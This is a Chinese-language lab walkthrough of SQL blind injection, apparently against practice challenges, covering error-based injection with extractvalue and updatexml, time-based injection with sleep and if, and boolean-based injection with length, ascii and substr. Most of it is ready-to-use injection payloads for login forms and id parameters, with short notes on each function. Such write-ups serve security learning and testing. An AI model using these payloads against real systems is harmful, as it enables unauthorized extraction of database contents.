目录
SQL盲注-报错回显盲注
SQL盲注-时间盲注
SQL盲注-布尔盲注
SQL盲注-报错回显盲注
在burp里面进行动态抓包,判断符号闭环,如图明显为'闭环
列数3时报错,判断当前列数为2
强行报错注入 ,如图获取到版本号
uname=1212' union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))#&passwd=12313&submit=Submituname=1212' or updatexml(1,concat(0x7e,database()),0)or'#&passwd=12313&submit=Submituname=1212' or extractvalue(1,concat(0x7e,database())) or'#&passwd=12313&submit=Submit
通过updatexml 或者extractvalue进行报错盲注
uname=1212' union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))#&passwd=12313&submit=Submituname=1212' union select 1,updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 3,1),0x7e),2)#&passwd=12313&submit=Submituname=1212' or updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 3,1),0x7e),2) or '#&passwd=12313&submit=Submit
注意:发现一次放不完,于是用limit进行分页操作,依次取0,1;1,1;2,1;3,1...进行查询
SQL盲注-时间盲注
sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠
if(): i f 是 计算机编程语言一个关键字,分支结构的一种
mid(a,b,c): 从b开始,截取a字符串的c位
substr(a,b,c): 从b开始,截取字符串a的c长度
left(database(),1),database() : left(a,b)从左侧截取a的前b位
length(database())=8 : 判断长度
ord=ascii ascii(x)=100: 判断x的ascii值是否为100
例如:
?id=1 and sleep(if(length(database())=8,5,3))#
?id=1%20and%20sleep(if(mid(database(),1,1)=%27s%27,3,0))#
输入后发现存在延迟
coleak' or sleep(3)#
测试长度,判断为7
coleak' or sleep(if(length(database())=8,0,2))#
coleak' or sleep(if(length(database())=7,0,2))#
分别猜测每位的字符
coleak' or sleep(if(mid(database(),1,1)='p',0,2))#
后续依次爆破每位的字符
SQL盲注-布尔盲注
此关卡连or都无法使用 ,此时只能通过前面获取的name来解题
lucy' and length(database())=7#
接下来通过二分法进行拆解
lucy' and ascii(substr(database(),1,1))= 112 #
接下来继续爆破数据库即可